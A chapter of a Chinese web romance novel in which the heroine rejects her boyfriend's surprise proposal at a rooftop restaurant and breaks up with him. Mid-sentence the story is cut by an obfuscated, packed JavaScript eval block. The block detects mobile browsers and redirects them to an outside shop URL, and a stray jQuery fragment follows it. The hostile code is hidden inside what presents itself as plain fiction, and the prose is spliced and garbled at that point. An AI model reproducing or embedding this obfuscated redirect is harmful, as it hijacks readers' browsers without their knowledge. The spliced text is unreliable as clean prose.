日历被往后翻了两页。
这天沪城下了一场大雨,将原本炽热的温度浇灭了一些。
褚寻铭在家里待了一周后离开,章安恒突然听不到他弄出来的白噪音,还有些不太习惯。
好在褚寻铭还会经常给她发消息。
章安恒躺在客厅里新买的躺椅上,抱着云朵,听着外面哗哗的雨声,跟褚寻铭聊天。
云朵抱着其实不是很顺手,又沉又大,还有些搂不过来。
章安恒有想过要不要再买一只小猫。
小小的一个,抱起来非常顺手。
反正以她的经济实力,再养一只猫可以养的很好。
不过这个想法刚出来,章安恒脑海中就浮现出褚寻铭那张微微抿嘴的脸。
甚至连他会说的话以及语气也能想象出来。
“姐姐,养一只小狗还不够吗……”
带着一点控诉跟委屈。
想想多了一个生命其实也挺麻烦的,得细细的照顾着。
于是章安恒打消了这个想法。
但还是生出逗逗褚寻铭的心思。
-【我想养一只小猫。】
褚寻铭应该是干好有空,很快就回过来消息。
-【真的吗?】
-【养一只小狗还不够吗…】
后面还跟着一个小狗哭哭的表情包。
比章安恒想的还要可怜。
逗小孩是真的挺好玩的。
但是逗玩之后章安恒心底又生出一股罪恶感。
这么相信她的小孩她也忍心骗,是在太不是人了章安恒!
解释感觉也没有很好的话术,于是章安恒干脆就放那里了。
兴许过几天褚寻铭就把这件事忘了呢。
这场雨下了很久,知道晚上,才渐渐下完。
这个周末商流雪终于有时间休息,约她出来玩。
章安恒当然答应了。
或许是从小一起长大的原因,两人亲密无间,章安恒每次跟商流雪出去的时候都非常放松。
而且,她也想跟商流雪说说关于闻瑾年的事。
商流雪长这么大也没谈过几次恋爱,到现在也是一个还没结婚的状态。
应该也给不出她什么建议。
不过章安恒也没想能从这得到什么,只要跟她说说话,章安恒就觉得心里好了不少。
二人随便找了个咖啡店,各自买了一杯饮品跟一块小蛋糕。
听完章安恒的讲述后,商流雪吃了一口蛋糕,眨了眨眼说:“那你等等就好了,说不定他会做出什么触犯你原则的事情呢。”
“那样不就是在吊着他?”章安恒也插了一小块蛋糕下来,“我还是早点找个时间跟他说清楚吧。”
有时候人就是这样,也不要谁给你解释得多么清楚,只要跟好友说一说,就能给接下来的活动下定决心。
最近闻瑾年也一直在明里暗里各种打听她的喜好,章安恒有些拿不住他要做什么,但一定会是个大的。
还是尽早跟他说清,及时制止比较好。
“好,你自己有决定了就行。”商流雪认真地看着她,忽然将她的脸凑近章安恒。
“怎么了?”两人距离近的章安恒甚至可以看见商流雪脸上的小毛绒。
商流雪细看完后坐了回去,“闺蜜,你嘴上的口红好好看啊,哪个色号的?”
说完,她好像也后知后觉她的思维比较跳脱,笑了出来。
章安恒也不介意,或者说,她们两个其实都差不多,反正想聊的事情也差不多已经有结果了。
她也跟着笑,笑完后将品牌跟色号告诉对方。
-
这天过完后又过了好几天。
期间闻瑾年很少联系章安恒。
少到章安恒以为他感知到了她的想法。
就在章安恒打算找个日子约他出来的时候。
闻瑾年先她一步,主动给她发消息约她出来。
闻瑾年还打算跟之前一样去章安恒家门口接她,但被章安恒拒绝了。
他也没坚持,把地址告诉了章安恒。
是一个画展的地址。
她开车准时到那,将车停好下车后,就看见了站在附近的闻瑾年。
章安恒的车颜色太张扬,闻瑾年肯定一眼就看见了,所以过来找她。
见到闻瑾年的第一眼,章安恒心中就隐隐升起一些不对劲。
他今天穿的衣服实在是太正式了…
虽然平常他穿的也是一些休闲西装什么的,但章安恒就是能感受出来这两者间细微的差距。
没等她细想太多,对方就出声打断了她的思绪。
闻瑾年温柔地对他笑笑,好看的眉眼弯了弯。
“安恒,我们进去吧。”
章安恒对画展确实很感兴趣,闻瑾年属于投其所好了。
今天来看这家画展的人挺多的,他们两人的票是VIP票,不用跟其他人一起排队。
刚进来就有画展负责人过来接待他们,问需不需要陪伴完整导览。
闻瑾年看了看章安恒,寻求她的意思。
“要吧。”章安恒说,她还挺喜欢逛展的时候有人在旁边解说的。
“好,二位这边请。”负责人指引着他们。
展内光线偏暗,为了能更好的看清画上细节,聚光灯只打在画作上,负责人说话也是压低声音的。
逛到一半的时候,章安恒看到一幅画,是一副有蓝色跟紫色构成的,样子有些奇特,她忍不住多看了几眼。
闻瑾年注意到,说:“喜欢吗,要不把这幅画买下来?”
章安恒严词拒绝,“不用了,太大了占地儿,家里也没位置放。”
她可是记着的,今天出来要跟他提分手。
既然马上就要分手了,那自然不能再让他给买东西。
看她一脸认真的拒绝,闻瑾年手伸进裤兜,摸了摸里面丝绒触感的小方盒,说好。
五点开始逛画展,逛了两个多小时才差不多逛完。
夏天,七点多的时间天还很亮。
章安恒也有些饿了,于是正好去吃饭。
闻瑾年告诉她定好的餐厅离这里开车半个小时。
章安恒只好坐上他的车去往餐厅。
路上,闻瑾年顾及章安恒饿了的原因,车速比平常提了不少。
“车里有面包,饿得受不了的话可以先吃着垫一下。”
章安恒说没事,还没到这个地步。
平常她在家吃饭也很晚,今天是走了两个小时消耗的比较多,所以饿得早。
看着前方两边的景物疯狂后移。
章安恒犹豫了一下,决定待会到餐厅后在吃饭前跟他提分手的事。
从画展到餐厅一眨眼的功夫,天色已然变黑了不少。
闻瑾年带她去的餐厅在顶楼,是一个半露天的。
在那吃饭能看见整个沪城的灯光跟晚霞。
到餐厅的时候,章安恒心中那股不对劲的感觉重新升起。
整个餐厅内只有他们两个人,虽然今天是工作日,但也不可能一个旁人都没有。
很明显,闻瑾年包场了。
包场就意味着有什么仪式,尤其是现在这个场景。
夕阳西下,半个太阳已经落到地平线一下,周围的天空都被晕染成红色,远处的湖面上也泛着红光。
在这么美的一个场景,章安恒脑海中生出来闻瑾年将会做的事。
——求婚。
想起之前闻瑾年答应过她,章安恒又担心会误会,于是试探的问。
“你把这里包场了?”
得到的是一声肯定的回答,“没错。”
随着他话音落下,章安恒瞬间进入一股防备状态,放慢了脚步。
闻瑾年注意到她脚步慢下,还没有察觉什么,只是牵起她的手,将她带到整个餐厅的中央。
这处的地板上也被晚霞映上了红色。
站在这里转头就能看见身后的风景,非常有氛围感。
章安恒声音变得有些严肃,脸上笑容都有些挂不住。
“你这是…要干什么?”
闻瑾年这场求婚原本就准备的仓促,许多流程都很仓促。
就连钻戒也是找人定制昨天刚拿到手的。
此刻他裤兜里握着丝绒盒子的手心有些冒汗,也没注意到章安恒的语气此时有些不对劲。
房内适时响起有些浪漫的音乐伴奏。
闻瑾年单膝跪地,将放着钻戒的盒子拿出来,打开放在章安恒面前。
“安恒,你愿意嫁给我吗?”
也是这是,他才终于敢看向章安恒的脸。
然后,他看到了章安恒阴沉的脸色。
闻瑾年这才意识到不对劲,但为时已晚。
章安恒语气中带着厌恶跟抗拒。
“我们在一起的那天,你答应过我的,我不会结婚。”
闻瑾年将钻戒放到一旁桌子上慌忙起身去扶她。
“安恒?我以为…”
“最近你一直不理我,我想让你开心一点……”
章安恒后退两步避开他的手,眉头深深皱起。
“让我开心一点?你觉得触犯我的原则可以让我开心?”
闻瑾年有些慌了,屋内的音乐还在不合时宜的响着。
“那已经是几年前了……我以为你的想法变了…抱歉安恒。”
“以为?因为以为所以你就可以擅自替我改变我的主意是吗?”章安恒凉凉的看了他一眼,刚刚在进来餐厅之前心中的那些犹豫顷刻中化为乌有。
她此刻只想跟这个触犯她原则的人划清界限。
闻瑾年看到章安恒不想被他碰到,站直了身子没在尝试去碰她,嘴上还在不停的解释道歉。
到最后,见她一直抗拒,闻瑾年又换了个角度。
“安恒,为什么你不愿意嫁给我,我的家世并不差,我敢保证,嫁给我以后你肯定可以过上比现在更好的日子。”
天颐集团的二儿子,嫁给他成为富太太是多少人梦寐以求的生活。
这句话又精准的踩到了章安恒的逆鳞。
“你是怎么信誓旦旦的说出来嫁给你以后可以让我过上比现在还要好的日子的?哪个有钱的家族里不是勾心斗角,你可以保证我完全不会被卷进去吗?”
“再者,我现在不愁吃喝不愁穿住,我觉得这样的生活很好,我很满意。正如我的名字一样,安恒安恒,我只想要现在一样永远安静的过我自己安稳的生活。”
章安恒用冷静的口吻将这一长串的话说出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17965007|214462||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来。
“抱歉安恒,我没想这么多…”
章安恒丝毫听不进去他的话,她看着他,语气认真。
“闻瑾年,我们分手吧,早在我们在一起之前就商量过了,我有两个原则,只要你犯了,那我们就分手。”
“安恒……”闻瑾年伸手朝空中无力的抓了几下。
章安恒顿了顿,还是决定把后面的话说了出来。
“这些日子里我一直对你很冷淡,因为我想了很多,我越想越觉得我们在一起其实是一个错误的决定,今天我出来找你,其实是打算跟你说分手的。”
“原本我还有些担心,是不是对你有些不太好,但是现在看来,完全是我多虑了,我们分手吧,以后不要再联系了。”
说完,章安恒就头也不回的走了。
她甚至有些庆幸没有将包拿下来,这样走的时候一甩手直接就可以走。
一路来到楼下,见闻瑾年意料之中的没有追过来,她松了口气。
先在打车软件上打了辆车,把她送去画展找她的车。
坐到车上的时候,章安恒才从刚刚的状态中抽离出来。
下一秒,肚子就饿得传过来一股饥饿感。
现在天已经完全黑了,搞了半天,她还没吃上一口饭。
也没有再去别的地方重新吃跟自己做饭的欲望了,她在外卖软件上点了份外卖。
等终于回家之后,她整个人累瘫在沙发上。
静静地趴了几秒后,她还没忘告诉商流雪这件事,拿起手机给她发了条消息。
-【我分手了。】
商流雪没有立马回来消息,应该是在忙。
章安恒又在沙发上趴了一会才缓缓在沙发上坐起来。
坐起来的第一件事,就是又拿起手机,将闻瑾年的联系方式给删了。
既然已经分手了,那联系方式自然就没必要留了,只会让两个人都尴尬。
删完好友,穿上拖鞋走到餐桌边,把刚才放在餐桌上的外卖吃掉。
虽然分手这件事确实很遭人,但解决完后让人浑身轻快。
章安恒玩着手机,磨磨蹭蹭的将这顿饭吃完。
时间还早,没到睡觉的时候,她没什么事可做,就将家里里里外外的都打扫了一遍,把云朵吃饭的碗给洗了洗,换上新的狗粮,带云朵出去遛狗,陪云朵玩。
家里太大,打扫卫生的时间占了大头,这一趟下来把她累的够呛,全部完事后正好十一点了,已经到了一个可以睡觉的时间。
章安恒连手机都没看,洗漱完脑袋一沾到枕头上就睡了。
这是今年来她睡得最早的一次,平常她都是过了十二点才睡。
章安恒这晚睡得很好,不过醒的也二很早,早上七点就醒了。
虽然只睡了八个小时,但她精神的很。
在床上翻了个身,章安恒伸手去拿手机。
打开一看,是商流雪给她发的好几条消息。
都是关于他俩分手的具体内容。
章安恒也将那天发生的事情一一细说了出来,包括闻瑾年给她求婚那段。
今天是工作日,商流雪这个时候肯定还没醒呢。
章安恒也没指望她能立马给出回复,发完消息后,她就起床洗漱,悠闲地给自己做了份早餐。
一份简单的三明治加上一杯牛奶。
章安恒拿出iPad,在上面找了个剧吃饭的时候看。
微信在这时弹出来一条弹窗。
还以为是商流雪给她回消息了,点进去一看,是褚寻铭。
-【姐姐,你今天在家吗?】
章安恒看到这条消息笑了笑,不知道为什么,她脑海中自动幻视出下一句。
-【姐姐,我作业在家忘带了,你能不能帮我送过来?】
可能是因为这件事情,在褚寻铭身上确实发生过一次。
那是他还在上高二时候的事情了。
褚寻铭学习很好,压根没有让章安恒费心过。
章安恒也不止一次跟父母还有商流雪炫耀过。
那天不知道为什么,他把数学练习册落在家里了。
高二的褚寻铭先给章安恒发了条消息,跟这个差不多。
-【姐姐,你现在在家吗?】
章安恒在家,但是有事没看到。
褚寻铭等了半个小时,没收到章安恒的回音。
眼看着还有一节课就要上数学了,褚寻铭找个了角落给章安恒打电话。
好在章安恒接了。
“姐姐,你在家吗?”
电话那头的褚寻铭轻声说道。
那时褚寻铭的声音跟现在差不多,早就过了变声器,褪去了稚嫩。
“在啊,什么事?”
章安恒接到他的电话的时候,还以为他是在学校里犯了什么错误要被叫家长呢,下意识的紧张起来。
“我的数学练习册落在家里了,你可以帮我送过来吗?”
听褚寻铭说完,章安恒松了口气,立马出门给他送了过去,没有耽误他上课用。
想起之前的事情,章安恒笑意更甚,甚至直接笑出了声。
她指尖在屏幕上敲打,回褚寻铭的消息。
-【怎么,作业落在家里了需要姐姐给你送过去吗?】